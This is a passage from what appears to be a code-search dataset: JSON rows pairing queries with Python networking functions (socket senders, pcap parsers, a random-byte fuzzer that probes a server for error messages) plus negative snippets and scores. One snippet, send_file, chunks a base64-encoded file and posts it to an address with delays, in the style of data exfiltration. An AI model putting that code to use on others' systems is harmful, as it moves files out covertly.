self.enc.encrypt(body)\\n length = 4 + len(encrypted)\\n data = pack(\\\">2I\\\", length, status) + encrypted\\n logger.debug(\\\"Sending %d bytes (total %d bytes)\\\" % (length, len(data)))\\n socket.sendall(data)\",\n \"def sendRandomBytes(self):\\n random_bytes = [random.getrandbits(8) for i in range(128)]\\n self.transport.write(bytes(random_bytes))\",\n \"def send(self, data: bytes) -> None:\\n size = len(data).to_bytes(self.SIZE_BYTES, self.BYTEORDER)\\n message = size + data\\n sent = self.socket.send(message)\\n # For TCP we don't really need to send all the message bytes\\n # in one go, BUT it becomes important if we switch to UDP\\n if sent != len(message):\\n raise RuntimeError(\\\"Unable to send all the data required\\\")\",\n \"def recv(self, bufsize: int) -> bytes:\\n ...\",\n \"def send_data(self, str_data):\\n try:\\n self.s.sendall(str_data.encode())\\n except OSError as e:\\n print(e)\",\n \"def send(self, data):\\n pass\",\n \"def send(self, msg):\\n msg = stc.pack('>I', len(msg)) + msg\\n self.sendall(msg)\",\n \"def send(self, msg):\\r\\n if isinstance(msg, str):\\r\\n msg = msg.encode()\\r\\n logger.debug('Sending message: %s ...', repr(msg))\\r\\n self._socket.sendall(msg)\",\n \"def tcp_message(self, flow: mitmproxy.tcp.TCPFlow):\",\n \"def send_message(sock, message) -> None:\\n print('[CLIENT LOG] sending message to server: {}'.format(str(message)))\\n if type(message) == bytes:\\n \\n sock.sendall(message)\\n else:\\n sock.sendall(str.encode(str(message)))\",\n \"def send_data(no_of_packets):\\n generate = data_buf_pb2.Send()\\n generate.nop = no_of_packets\\n data = generate.SerializeToString()\\n\\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # create socket and send data\\n s.connect((receiver_node_ip, receiver_node_port))\\n s.sendall(data)\\n s.close()\",\n \"def send_msg(sock, msg):\\n\\n # Stores the length of message in big-endian order\\n msg = struct.pack('>I', len(msg)) + msg\\n\\n # Writes all bytes to the stream\\n sock.sendall(msg)\",\n \"def send(self, data: bytes) -> int:\\n if not data:\\n raise Exception(\\\"Can't send empty data!\\\")\\n\\n LOG.debug(\\\"=> %s\\\", data.hex())\\n\\n data = int.to_bytes(len(data), 2, byteorder=\\\"big\\\") + data\\n offset: int = 0\\n seq_idx: int = 0\\n length: int = 0\\n\\n while offset < len(data):\\n # Header: channel (0x0101), tag (0x05), sequence index\\n header: bytes = b\\\"\\\\x01\\\\x01\\\\x05\\\" + seq_idx.to_bytes(2, byteorder=\\\"big\\\")\\n data_chunk: bytes = (header +\\n data[offset:offset + 64 - len(header)])\\n\\n self.device.write(b\\\"\\\\x00\\\" + data_chunk)\\n length += len(data_chunk) + 1\\n offset += 64 - len(header)\\n seq_idx += 1\\n\\n return length\",\n \"def _send(self, data, newline=\\\"\\\\r\\\\n\\\", sock=None):\\n self.outbuff.append(data+newline)\\n for msg in self.outbuff:\\n if self.print_raw:\\n logger.debug(msg.strip())\\n self.sock.sendall((msg+newline).encode(\\\"utf-8\\\"))\",\n \"def send_data(data):\\n\\n # In order for the data to be transmitted, it has to be in bytes format\\n pickled_data = pickle.dumps(data)\\n # Actual length of the data (for example 3) \\n data_length = len(pickled_data)\\n # Padded length of the data (for example '3 ')\\n padded_length = pickle.dumps(data_length)\\n padded_length += b' ' * (HEADER_SIZE - len(padded_length))\\n\\n # Send the padded length and then the data right after\\n conn.send(padded_length)\\n conn.send(pickled_data)\",\n \"def send(self, buf):\\n if self._verbose:\\n self._prettyprint(buf, True)\\n self._s.sendall(buf)\",\n \"def sendData(self, data):\\n self.transport.write(zlib.compress(rencode.dumps(data)))\",\n \"def serverSend(self, content, binary=False):\\n if self.state == self.STATE_CONNECTING:\\n self.serverAccept()\\n self.last_data = time.time()\\n logger.debug(\\\"Sent WebSocket packet to client for %s\\\", self.reply_channel)\\n if binary:\\n self.sendMessage(content, binary)\\n else:\\n self.sendMessage(content.encode(\\\"utf8\\\"), binary)\",\n \"def send_ndarray(sock, data):\\n with io.BytesIO() as f:\\n np.save(f, data)\\n byte_data = f.getvalue()\\n\\n # Pack message length\\n msg = struct.pack('>I', len(byte_data)) + byte_data\\n sock.sendall(msg)\",\n \"def _lowLevelSend(self,data):\\n import socket\\n \\n try: size = self.socket_reference.send(data)\\n except socket.error as error: raise CommClientException(str(error)) \\n \\n return size\",\n \"def send(self, buf, offset=0, size=None):\\n raise NotImplementedError\",\n \"def sendall(self, s):\\r\\n self.write(s)\",\n \"def __send_message(self, data):\\n if RemotePlayerProxy.DEBUG:\\n print(f'[RPP] [SEND] -> [{self.name}]: {data}')\\n\\n try:\\n self.__socket.sendall(bytes(data, 'ascii'))\\n except Exception as e:\\n if RemotePlayerProxy.DEBUG:\\n print(e)\",\n \"def send(self, sock):\\n return sock.send(self.pack())\",\n \"def send(self, sock):\\n return sock.send(self.pack())\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.73878384","0.72343266","0.68756074","0.67705405","0.67532486","0.65822387","0.6581286","0.65647763","0.65512145","0.6451417","0.6440612","0.6440612","0.6415889","0.63881886","0.63653135","0.6315379","0.62951326","0.62764776","0.62761664","0.622699","0.6215394","0.62086487","0.6194239","0.61521643","0.61312914","0.61276716","0.60926735","0.6018957","0.5982325","0.59777486","0.5931223","0.5916258","0.591094","0.5898565","0.5897889","0.5886473","0.5883805","0.5847235","0.58336276","0.5825044","0.58217263","0.58134085","0.5811146","0.5795926","0.5786453","0.57852906","0.5774132","0.5768988","0.57679427","0.57627404","0.57438684","0.57436","0.5721526","0.5714632","0.57132334","0.5712552","0.5699009","0.5685205","0.56623375","0.5660519","0.565666","0.5649837","0.56432265","0.5629132","0.5618136","0.5605422","0.5604817","0.5603316","0.558955","0.5582832","0.5570111","0.5552854","0.554937","0.554937","0.5547146","0.55444217","0.55308527","0.55298924","0.55287594","0.5525784","0.55160123","0.55139035","0.5511961","0.55081564","0.54852647","0.54769045","0.5476716","0.54732","0.5461829","0.54601604","0.5458494","0.545325","0.5450698","0.5449252","0.5433503","0.54331696","0.5431301","0.542475","0.54210097","0.54210097"],"string":"[\n \"0.73878384\",\n \"0.72343266\",\n \"0.68756074\",\n \"0.67705405\",\n \"0.67532486\",\n \"0.65822387\",\n \"0.6581286\",\n \"0.65647763\",\n \"0.65512145\",\n \"0.6451417\",\n \"0.6440612\",\n \"0.6440612\",\n \"0.6415889\",\n \"0.63881886\",\n \"0.63653135\",\n \"0.6315379\",\n \"0.62951326\",\n \"0.62764776\",\n \"0.62761664\",\n \"0.622699\",\n \"0.6215394\",\n \"0.62086487\",\n \"0.6194239\",\n \"0.61521643\",\n \"0.61312914\",\n \"0.61276716\",\n \"0.60926735\",\n \"0.6018957\",\n \"0.5982325\",\n \"0.59777486\",\n \"0.5931223\",\n \"0.5916258\",\n \"0.591094\",\n \"0.5898565\",\n \"0.5897889\",\n \"0.5886473\",\n \"0.5883805\",\n \"0.5847235\",\n \"0.58336276\",\n \"0.5825044\",\n \"0.58217263\",\n \"0.58134085\",\n \"0.5811146\",\n \"0.5795926\",\n \"0.5786453\",\n \"0.57852906\",\n \"0.5774132\",\n \"0.5768988\",\n \"0.57679427\",\n \"0.57627404\",\n \"0.57438684\",\n \"0.57436\",\n \"0.5721526\",\n \"0.5714632\",\n \"0.57132334\",\n \"0.5712552\",\n \"0.5699009\",\n \"0.5685205\",\n \"0.56623375\",\n \"0.5660519\",\n \"0.565666\",\n \"0.5649837\",\n \"0.56432265\",\n \"0.5629132\",\n \"0.5618136\",\n \"0.5605422\",\n \"0.5604817\",\n \"0.5603316\",\n \"0.558955\",\n \"0.5582832\",\n \"0.5570111\",\n \"0.5552854\",\n \"0.554937\",\n \"0.554937\",\n \"0.5547146\",\n \"0.55444217\",\n \"0.55308527\",\n \"0.55298924\",\n \"0.55287594\",\n \"0.5525784\",\n \"0.55160123\",\n \"0.55139035\",\n \"0.5511961\",\n \"0.55081564\",\n \"0.54852647\",\n \"0.54769045\",\n \"0.5476716\",\n \"0.54732\",\n \"0.5461829\",\n \"0.54601604\",\n \"0.5458494\",\n \"0.545325\",\n \"0.5450698\",\n \"0.5449252\",\n \"0.5433503\",\n \"0.54331696\",\n \"0.5431301\",\n \"0.542475\",\n \"0.54210097\",\n \"0.54210097\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.7612792"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80094,"cells":{"query":{"kind":"string","value":"This function gets a sample pcap file and puts random bytes inside the all fields. Then sends it to the server. It returns all possible error messages in list."},"document":{"kind":"string","value":"def createErrorMsgs(messages, ip, port):\n rspList = list()\n for m in messages.values():\n randomBS = copy.copy(m)\n randomBS_arr = bytearray(randomBS.data)\n for idx,bytInt in enumerate(randomBS_arr):\n randomBS_arr[idx] = random.randint(0,255)\n randomBS = bytes(randomBS_arr)\n try:\n response = sendTCP_raw_bytes(randomBS, ip, port)\n print (response)\n if response not in rspList:\n rspList.append(response)\n except socket.timeout:\n #print(\"Socket timeout reached.\")\n continue\n return rspList"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def read_and_store_pcap(file_name):\r\n file = open(file_name, \"rb\")\r\n global_header = file.read(24).hex()\r\n byte = file.read(16)\r\n packets = []\r\n bytes = []\r\n sizes = []\r\n while byte:\r\n packet_header = byte.hex()\r\n # parse the size for each packet\r\n size = struct.unpack(\"<L\", codecs.decode(str(packet_header[16:24]), \"hex\"))[0]\r\n sizes.append(size)\r\n # read the whole packet by its size from the bytes\r\n byte = file.read(size).hex()\r\n bytes.append(byte)\r\n byte = file.read(16)\r\n for size in sizes:\r\n packets.append(([size], [], []))\r\n i = 0\r\n\r\n for pkt in bytes:\r\n packets = handle_pkt_header(pkt, packets, i)\r\n packets, start_point = handle_ip_header(pkt, packets, i)\r\n protocol = packets[i][1][7]\r\n if protocol == 1:\r\n packets = handle_icmp(pkt, packets, i, start_point)\r\n elif protocol == 6:\r\n packets = handle_tcp(pkt, packets, i, start_point)\r\n elif protocol == 17:\r\n packets = handle_udp(pkt, packets, i, start_point)\r\n i += 1\r\n # print(packets)\r\n return packets","def test():\n with open('univ1_pt8.pcap', 'rb') as f: #univ1_trace/univ1_pt8\n pcap = Reader(f)\n print_packets(pcap)\n # top_flows()\n host_pairs()","def print_packets(pcap):\n\n # For each packet in the pcap process the contents\n for timestamp, buf, hdr_len in pcap:\n \n # Unpack the Ethernet frame (mac src/dst, ethertype)\n eth = dpkt.ethernet.Ethernet(buf)\n # print('Ethernet Frame: ', mac_addr(eth.src), mac_addr(eth.dst), eth.type)\n\n # Make sure the Ethernet data contains an IP packet\n if not isinstance(eth.data, dpkt.ip.IP):\n # print('Non IP Packet type not supported %s\\n' % eth.data.__class__.__name__)\n continue\n\n # Now unpack the data within the Ethernet frame (the IP packet)\n # Pulling out src, dst, length, fragment info, TTL, and Protocol\n ip = eth.data\n\n # Pull out fragment information (flags and offset all packed into off field, so use bitmasks)\n # do_not_fragment = bool(ip.off & dpkt.ip.IP_DF)\n # more_fragments = bool(ip.off & dpkt.ip.IP_MF)\n # fragment_offset = ip.off & dpkt.ip.IP_OFFMASK\n\n # Print out the info\n # print('IP: %s -> %s (len=%d ttl=%d DF=%d MF=%d offset=%d)\\n' % \\\n # (inet_to_str(ip.src), inet_to_str(ip.dst), ip.len, ip.ttl, do_not_fragment, more_fragments, fragment_offset)) \n\n pkt = Packet(timestamp, buf, hdr_len)\n\n if ip.p == dpkt.ip.IP_PROTO_TCP or ip.p == dpkt.ip.IP_PROTO_UDP: \n # all flow\n flow = Flow(ip.src, ip.dst, ip.data.sport, ip.data.dport, ip.p)\n if flow not in all_flows:\n all_flows[flow] = [pkt]\n else:\n x = len(all_flows[flow]) - 1\n if x < 0:\n all_flows[flow].append(pkt)\n else:\n if time_diff(all_flows[flow][x].timestamp, timestamp) <= 5400: #90mins\n all_flows[flow].append(pkt)\n\n if ip.p == dpkt.ip.IP_PROTO_TCP: \n # TCP flow\n flow = Flow(ip.src, ip.dst, ip.data.sport, ip.data.dport, ip.p)\n if flow not in tcp_flows:\n tcp_flows[flow] = [pkt]\n else:\n x = len(tcp_flows[flow]) - 1\n if x < 0:\n tcp_flows[flow].append(pkt)\n else:\n if time_diff(tcp_flows[flow][x].timestamp, timestamp) <= 5400:\n tcp_flows[flow].append(pkt)\n all_host_pairs(pkt, ip)\n elif ip.p == dpkt.ip.IP_PROTO_UDP:\n # UDP flow\n flow = Flow(ip.src, ip.dst, ip.data.sport, ip.data.dport, ip.p)\n if flow not in udp_flows:\n udp_flows[flow] = [pkt]\n else:\n x = len(udp_flows[flow]) - 1\n if x < 0:\n udp_flows[flow].append(pkt)\n else:\n if time_diff(udp_flows[flow][x].timestamp, timestamp) <= 5400:\n udp_flows[flow].append(pkt)\n else:\n continue\n\n print(\"Number of All flows: %d | Number of TCP flows: %d | Number of UDP flows: %d\" % (len(all_flows), len(tcp_flows), len(udp_flows)))\n\n # -- Flow Duration\n for f in all_flows:\n size = len(all_flows[f])\n if size >= 2:\n all_flow_dur.append(time_diff(all_flows[f][0].timestamp, all_flows[f][size-1].timestamp))\n \n for f in tcp_flows:\n size = len(tcp_flows[f])\n if size >= 2:\n tcp_flow_dur.append(time_diff(tcp_flows[f][0].timestamp, tcp_flows[f][size-1].timestamp))\n \n for f in udp_flows:\n size = len(udp_flows[f])\n if size >= 2:\n udp_flow_dur.append(time_diff(udp_flows[f][0].timestamp, udp_flows[f][size-1].timestamp))\n\n print \"lens: \", len(all_flow_dur), len(tcp_flow_dur), len(udp_flow_dur)\n\n # -- Flow Size\n for f in all_flows:\n f_bytes = 0\n size = len(all_flows[f])\n all_flow_size_pkt.append(size)\n for p in all_flows[f]:\n f_bytes += p.length\n all_flow_size_byte.append(f_bytes)\n \n for f in tcp_flows:\n f_bytes = 0\n f_overhead = 0\n size = len(tcp_flows[f])\n tcp_flow_size_pkt.append(size)\n for p in tcp_flows[f]:\n f_bytes += p.length\n f_overhead += 18 + 20 #+ tcp_hdr\n tcp_flow_size_byte.append(f_bytes)\n if f_bytes == 0:\n f_bytes = 9999\n tcp_flow_size_overhead.append(f_overhead/float(f_bytes))\n \n for f in udp_flows:\n f_bytes = 0\n size = len(udp_flows[f])\n udp_flow_size_pkt.append(size)\n for p in udp_flows[f]:\n f_bytes += p.length\n udp_flow_size_byte.append(f_bytes)\n\n # -- Inter-packet Arrival time\n for f in all_flows:\n for i in range(len(all_flows[f])-1):\n all_flow_time.append(time_diff(all_flows[f][i].timestamp, all_flows[f][i+1].timestamp))\n\n for f in tcp_flows:\n for i in range(len(tcp_flows[f])-1):\n tcp_flow_time.append(time_diff(tcp_flows[f][i].timestamp, tcp_flows[f][i+1].timestamp))\n\n for f in udp_flows:\n for i in range(len(udp_flows[f])-1):\n udp_flow_time.append(time_diff(udp_flows[f][i].timestamp, udp_flows[f][i+1].timestamp))\n\n # -- TCP State\n for f in tcp_flows:\n size = len(tcp_flows[f])\n last_pkt = tcp_flows[f][size-1]\n tcp = dpkt.ethernet.Ethernet(last_pkt.buf).data.data\n \n if (tcp.flags & dpkt.tcp.TH_SYN) != 0:\n f.state = 'Request'\n elif (tcp.flags & dpkt.tcp.TH_RST) != 0:\n f.state = 'Reset'\n elif (tcp.flags & dpkt.tcp.TH_FIN) != 0 and (tcp.flags & dpkt.tcp.TH_ACK) != 0:\n f.state = 'Finished'\n elif time_diff(tcp_flows[f][0].timestamp, tcp_flows[f][size-1].timestamp) <= 300:\n f.state = 'Ongoing'\n elif time_diff(tcp_flows[f][0].timestamp, tcp_flows[f][size-1].timestamp) > 300 \\\n and (tcp.flags & dpkt.tcp.TH_RST) == 0 and (tcp.flags & dpkt.tcp.TH_FIN) == 0:\n f.state = 'Failed'\n\n show_cdf_graphs()","def test_send_too_many_bytes(self):\n self.client_socket.sendto(b'12345678901234567890', CONTROL_SOCKET_FILE)\n (bytes, address) = self.client_socket.recvfrom(6)\n #self.assertEquals(address, CONTROL_SOCKET_FILE)\n self.assertEqual(len(bytes), 1)\n self.assertEqual(bytes[0], 7)","def send_file(addr, file_path, max_packet_size=1200, time_delay=0.05):\n\ttry:\n\t\t# Load file\n\t\tfh = open(file_path, READ_BINARY)\n\t\tiAmFile = fh.read()\n\t\tfh.close()\n\texcept:\n\t\tsys.stderr.write(\"Error reading file!\\n\")\n\t\traise ()\n\n\t# Split file to chunks by size:\n\tchunks = []\n\tIamDone = \"\"\n\n\tIamDone = base64.b64encode(iAmFile) # Base64 Encode for ASCII\n\tchecksum = zlib.crc32(IamDone) # Calculate CRC32 for later verification\n\tchunks = [IamDone[i:i + max_packet_size] for i in range(0, len(IamDone), max_packet_size)] # Split into chunks\n\thead, tail = os.path.split(file_path) # Get filename\n\n\t# Initial packet:\n\ttry:\n\t\tinit_payload = tail + COOKIE_DELIMITER + str(checksum) + COOKIE_DELIMITER + str(len(chunks))\n\t\tpayload = {INIT_PACKET_COOKIE: init_payload}\n\t\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\n\t\tsys.stdout.write(\"[+] Sent initiation package. Total of %s chunks.\\n\" % (len(chunks) + 2))\n\t\tsys.stdout.write(\".\")\n\t\ttime.sleep(time_delay)\n\texcept:\n\t\tsys.stderr.write(\"Unable to reach target with error:\\n\")\n\t\tsys.exit(1)\n\n\t# Send data\n\tcurrent_chunk = 0\n\tfor chunk in chunks:\n\t\tpayload = {PACKET_COOKIE + str(current_chunk): chunk}\n\t\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\n\t\tcurrent_chunk += 1\n\t\tsys.stdout.write(\".\")\n\t\ttime.sleep(time_delay)\n\tsys.stdout.write(\".\\n\")\n\n\t# Termination packet\n\tdata = DATA_END + str(current_chunk)\n\tpayload = {TERMINATION_COOKIE: data}\n\trequests.post(addr, data=json.dumps(payload), headers=HEADERS)\n\tsys.stdout.write(\"[+] Sent termination packets and total of %s packets.\\n\" % current_chunk)\n\n\treturn 0","def send(s_inPort, s_outPort, c_inPort, filename):\n totalSentPacks = 0\n \n #build senders sockets\n sockIn = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sockIn.bind((IP, s_inPort))\n sockOut = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n sockOut.bind((IP, s_outPort))\n \n #sets up where to send\n sockOut.connect((IP, c_inPort))\n \n #exits program if file does not exist\n if not os.path.isfile(filename):\n sockIn.close()\n sockOut.close() \n sys.exit()\n \n nexti = 0\n exitFLAG = False\n \n #opens file and starts a loop that reads 512 bytes and\n #trys to send it via the sockets\n file = open(filename, \"rb\") \n while exitFLAG == False:\n data = file.read(512)\n if sys.getsizeof(data) <= 33:\n fmt = PACFOMAT.format(size=len(data))\n packet = struct.pack(fmt, MAGICNO, \n DATATYPE, nexti, 0,\n b'')\n exitFLAG = True\n \n else:\n fmt = PACFOMAT.format(size=len(data))\n packet = struct.pack(fmt, MAGICNO, \n DATATYPE, nexti, \n sys.getsizeof(data),\n data)\n \n #starts an inner loop that listens for the acknowledgement\n #packet and re-transmits if no acknowledgement is recieved \n inner_exitFLAG = False\n sentPacCount = 0\n while inner_exitFLAG == False:\n sockOut.send(packet)\n sentPacCount += 1\n totalSentPacks += 1\n readable, _, _ = select.select([sockIn], [], [], 1)\n if readable:\n newpac, address = sockIn.recvfrom(1024)\n fmt = PACFOMAT.format(size=len(newpac)-HDR_LEN)\n mno, typ, seq, dal, ans = struct.unpack(fmt, newpac)\n if mno != MAGICNO:\n continue\n elif typ != ACKTYPE:\n continue\n elif dal > 33:\n continue\n elif seq != nexti:\n continue\n else:\n nexti = 1 - nexti\n inner_exitFLAG = True\n else:\n if exitFLAG == True and sentPacCount == 4:\n print(str(sentPacCount),\n \"packets sent and no response,stopping program\")\n break \n else:\n continue\n print(totalSentPacks)\n sockIn.close()\n sockOut.close() \n file.close()\n sys.exit()","def test_large_import(self):\n # the original file (from the IDD) is a previous version of the file from\n # the data server for the gp03flmb platform\n self.create_sample_data_set_dir('node59p1_orig.dat', TELEM_DIR, 'node59p1.dat')\n self.assert_initialize()\n # one bad sample in here:\n # PH1236501_01D5u51F361E0_EC_162E has non ascii bytes at the end and is missing \\r\n result = self.data_subscribers.get_samples(DataParticleType.CONTROL, 1, 60)\n result = self.data_subscribers.get_samples(DataParticleType.SAMPLE, 49, 100)\n\n # this file is the more recent file off the data server for gp03flmb/d00001\n # this file appends more data to that in node59p1_orig\n self.create_sample_data_set_dir('node59p1.dat', TELEM_DIR)\n # several bad samples in here:\n # PH1236501_01D5u521208B4_A1_D274 doesn't have enough bytes (469 not 470)\n # PH1236501_01D5u52461BDC_CF_55BD doesn't have enough bytes (469 not 470)\n # PH1236501_01D5u5266BCF1_DA_6466 doesn't have enough bytes (469 not 470)\n # PH1236501_01DAu5288AF85_C9_7365, PH1236501_01DAu529E1BDF_42_4835\n # have extra bytes after the sample, not an error anymore\n # PH1236501_01D5u52B090DA_BA_8CC1 doesn't have enough bytes (469 not 470)\n # PH1236501_01DAu52B38839_BB_4134, PH1236501_01DAu52C8F493_34_3FC2\n # PH1236501_01DAu52ECE16B_79_F727, PH1236501_01DAu53024DC6_F2_7EC9 \n # have extra bytes after sample, not an error anymore\n result = self.data_subscribers.get_samples(DataParticleType.SAMPLE, 751, 430)","def process_pcap(pcap):\n\n print \"Processing\", pcap\n pcap_path, _ = os.path.splitext(pcap)\n # strip_payload_from_pcap(pcap)\n os.system(\"tshark -nn -T fields -E separator=/t -e frame.time_epoch\"\n \" -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport\"\n \" -e ip.proto -e ip.len -e ip.hdr_len -e tcp.hdr_len -e data.len\"\n \" -e tcp.flags -e tcp.options.timestamp.tsval\"\n \" -e tcp.options.timestamp.tsecr -e tcp.seq -e tcp.ack\"\n \" -e tcp.window_size_value -e expert.message \"\n \" -r %s > %s.tshark\" % (pcap, pcap_path))\n # tcpdump command from Panchenko's raw-to-tcp script\n os.system(\"\"\"tcpdump -r {0} -n -l -tt -q -v | sed -e 's/^[ ]*//' |\n awk '/length ([0-9][0-9]*)/{{printf \"%s \",$0;next}}{{print}}' > {1}\"\"\".\\\n format(pcap, pcap_path + '.tcpdump'))","def open_service_loop(self):\n\t\n\tprint \"Attempting to receive file\", self.file_read, \"from\", self.ip, \"at port\", self.port, \".\" \n\trecv_data = None\n\tnum_retransmits = 0\n\t#Start timer, retransmit after each timeout of one second. If receive response within the timer, move on to next step. \n\t#Limit number of retransmits to 60 so as not to enter infinite loop.\n\twhile(num_retransmits < 60):\n\t num_retransmits += 1\n\t self.send_open_request()\n\n\t input_socket = [self.client_socket]\n\t inputready,outputready,exceptready = select.select(input_socket,[],[], 1)\n\t #if timer expires without input becoming ready, empty list is returned. So go to next iteration of loop (retransmit)\n\t if (inputready == []):\n\t\tcontinue\n\t else:\n\t\ttry:\n\t\t recv_data = self.client_socket.recv(self.buffer_)\n\t\texcept Exception as exception_:\n\t\t print(\"Wrong port number or IP address provided, or server is not available at the moment.\")\n\t\t sys.exit()\n\t\tprint(\"Received a packet.\")\n\t\t\n\t\t#Generate a random number between 0 and 1 with uniform distribution to simulate packet loss.\n\t\tif (random.uniform(0,1) < self.p):\n\t\t recv_data = None\n\t\t print(\"Packet dropped randomly to simulate packet losses\")\n\t\t continue\n\t\t\n\t\tbit_signature = recv_data[0:4]\n\t\tresponse_type = recv_data[4:8]\n\t\trecv_payload = recv_data[8:]\n\n\t\t#Check that bit signature is valid (packet is from our network)\n\t\tif bit_signature != \"\\x00\\x00\\x00\\r\": \n\t\t recv_invalid_response(recv_data, \"bit_signature\")\n\t\t continue\n\t\telse:\n\t\t #We have only ever sent a open_request, so the only viable response at this point is an open_response. \n\t\t #If this field contains anything else, it is an invalid packet. Retransmit request.\n\t\t if response_type != \"\\x00\\x00\\x00\\x08\": \n\t\t\tself.recv_invalid_response(recv_data, \"response_type\")\n\t\t\tcontinue\t\t\n\t\t else:\n\t\t\t#Bit signature and response type fields are both valid.\n\t\t\tprint(\"Received open response from server...\")\n\t\t\tself.recv_open_response(recv_payload)\n\t\t\tbreak\n\t\n\tif (num_retransmits >= 60):\n\t print (\"Exceeded number of retransmissions allowed. Exiting program.\")\n\t sys.exit()\t\n\treturn","def test_send_positive():\n\n # Generate the blocks for the test file\n test_file = os.path.join(os.path.dirname(__file__),\n \"../test_files/isaac-martin-61d2hT57MAE-unsplash.jpg\")\n blocks = generate_blocks(test_file, '0')\n # Collect all blocks into a single binary file using pickle\n blocks_pickled = pickle.dumps(blocks)\n # Send the collected blocks in a single transfer to the test server\n response = client.post(\"/send\",\n files={\"file\": blocks_pickled})\n assert response.ok\n assert response.json() \\\n == {\"success\": True,\n \"new_file\": True,\n \"hash\": \"45f293033312d42815155e871f37b56b4de9b925c07d4a5f6262320c1627db12\",\n \"index_all\": 5285}","def parse_packets(pcap):\n # For each packet in the pcap process the contents\n flow_Info = []\n times = 0\n for timestamp, buf in pcap:\n times += 1\n tmp_flow_Info = {}\n\n # Unpack the Ethernet frame (mac src/dst, ethertype)\n eth = dpkt.ethernet.Ethernet(buf)\n # Unpack the data whthin the Ethernet frame (the IP packet)\n ip = eth.data\n\n # if protocol(ip.p) is not UDP(17) ,skip this packet\n if ip.p != 17:\n continue\n\n udp = ip.data\n # Temp_data = parse_data(eth.data.udp.data)\n # Filter CoAP by port\n if(udp.sport != 5683 or udp.dport != 5683):\n continue\n\n str_udp_data = parse_data(eth.data.udp.data)\n # skip packets of Non_confirmable\n if str_udp_data[0] == '5': \n continue\n\n cycle = 0\n index = 0\n Udp_data = []\n \n len_str_udp_data = len(str_udp_data)\n while cycle < (len_str_udp_data//3+1):\n # Udp_data.append(int('0x'+Str_Udp_data[index:index + 2], 16))\n Udp_data.append(int('0x' + str_udp_data[index:index + 2], 16))\n cycle += 1\n index += 3\n tmp_flow_Info['udp_data'] = (Udp_data)\n\n # confirmable or ack\n tmp_flow_Info['Coap_type'] = str_udp_data[0]\n #print(str_udp_data) \n \n # skip space and get \"Message ID\" \n HexMide = str_udp_data[6:8] + str_udp_data[9:11]\n tmp_flow_Info['Mid'] = int('0x'+HexMide, 16)\n\n tmp_flow_Info['Timestamp'] = str(datetime.datetime.fromtimestamp(timestamp))\n # print('Ethernet Frame: ', mac_addr(eth.src), mac_addr(eth.dst), eth.type)\n tmp_flow_Info['src'] = inet_to_str(ip.src)\n tmp_flow_Info['dst'] = inet_to_str(ip.dst)\n\n tmp_flow_Info['sport'] = udp.sport\n tmp_flow_Info['dport'] = udp.dport\n flow_Info.append(tmp_flow_Info)\n\n return flow_Info","def genPackets(l: list):\n check(len(l), lambda x: x== 9, \"Wrong number of given arguments for genPackets(l), must be 9\")\n req = randomSubBuilder(l[0], l[1], l[2], l[3], l[4], l[5])\n res = regularResponse(req, l[0], l[6], l[7], l[8])\n return [req, res]","def main():\n\n radio = initialize_radios(0, 25, 0x60)\n\n radio.openWritingPipe(pipes[1])\n radio.openReadingPipe(0, pipes[0])\n\n print(\"Sender Information\")\n radio.printDetails()\n\n payload_list = read_file(sys.argv[1])\n\n count = 0\n while count < len(payload_list):\n # send a packet to receiver\n acknowledged = False\n while not acknowledged:\n send_packet(radio, payload_list[count])\n print(\"Sent payload number: \" + str(count))\n\n # Did we get an ACK back?\n radio.startListening()\n ack_or_timeout(radio)\n \n if radio.available(pipes[0]):\n recv_buffer = []\n radio.read(recv_buffer, radio.getDynamicPayloadSize())\n ack_received = bytes(recv_buffer)\n print(\"ACK available\")\n if ack_received == b'1GUTACK':\n acknowledged = True\n count = count + 1\n radio.stopListening()\n\n while True:\n print(\"Sending the FinalACK\")\n time.sleep(1)\n send_packet(radio, b'TH1SPR0GRAMSHOULDBEOVER9999999')\n\n # Did we get an ACK back?\n radio.startListening()\n ack_or_timeout(radio)\n\n if radio.available(pipes[0]):\n recv_buffer = []\n radio.read(recv_buffer, radio.getDynamicPayloadSize())\n received = bytes(recv_buffer)\n if received == b'TH1SISTH3FINALACK':\n break\n radio.stopListening()\n\n print(\"File sent successfully\")","def server(port):\n \"\"\"Listen and receive a file, binding to the given port.\"\"\"\n # Create a socket object specifying arguments to have UDP transport\n # family-IPv4, type-UDP,gethostn protocol- default = 0\n sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, 0)\n \n # Bind the socket object to your localhost and port\n sock.bind((localhost, port))\n\n print ('Socket Initialized')\n\n while True:\n packet = {\n \"message\": \"\",\n \"type\": \"\",\n \"checksum\": 0,\n \"seq\": 0\n }\n\n # Receive the message, decode the message and load them as json objects into data \n message, address = sock.recvfrom(MAX_NUM_OF_BYTES)\t\n message= message.decode('ascii', 'ignore')\t\n data = json.loads(message)\n # Check if the type is FIN, print then quit.\n if data[\"type\"].startswith(\"FIN\"):\n #packet[\"type\"]=\"FIN\"\n #packet[\"message\"]=\"\"\n #packet[\"seq\"]=0\t\n print (\"Final message!\")\n break\n\n else:\n \n #check the checksum, create the packet\n if sum(ord(char) for char in data[\"message\"]) == data[\"checksum\"]:\n #prepare the packet\n packet[\"type\"]= \"ACK\"\n packet[\"seq\"]= data[\"seq\"]+1\n print (data[\"message\"])\n else:\n \n #resend the packet\n packet[\"type\"]= \"ACK\"\n packet[\"seq\"]=data[\"seq\"]\n print(data[\"message\"])\n \n #send to the client\n data =json.dumps(packet)\n sock.sendto(data.encode('ascii','ignore'), address)\n\n # Close the socket\n sock.close()","def mock_api_stage_success_control() -> List[bytes]:\n return create_standard_packets_list(DUMMY_CONTROL_RESPONSE)","def test_get_invalid(self):\n self.client_socket.sendto(b'i', CONTROL_SOCKET_FILE)\n (bytes, address) = self.client_socket.recvfrom(6)\n #self.assertEquals(address, CONTROL_SOCKET_FILE)\n self.assertEqual(len(bytes), 1)\n 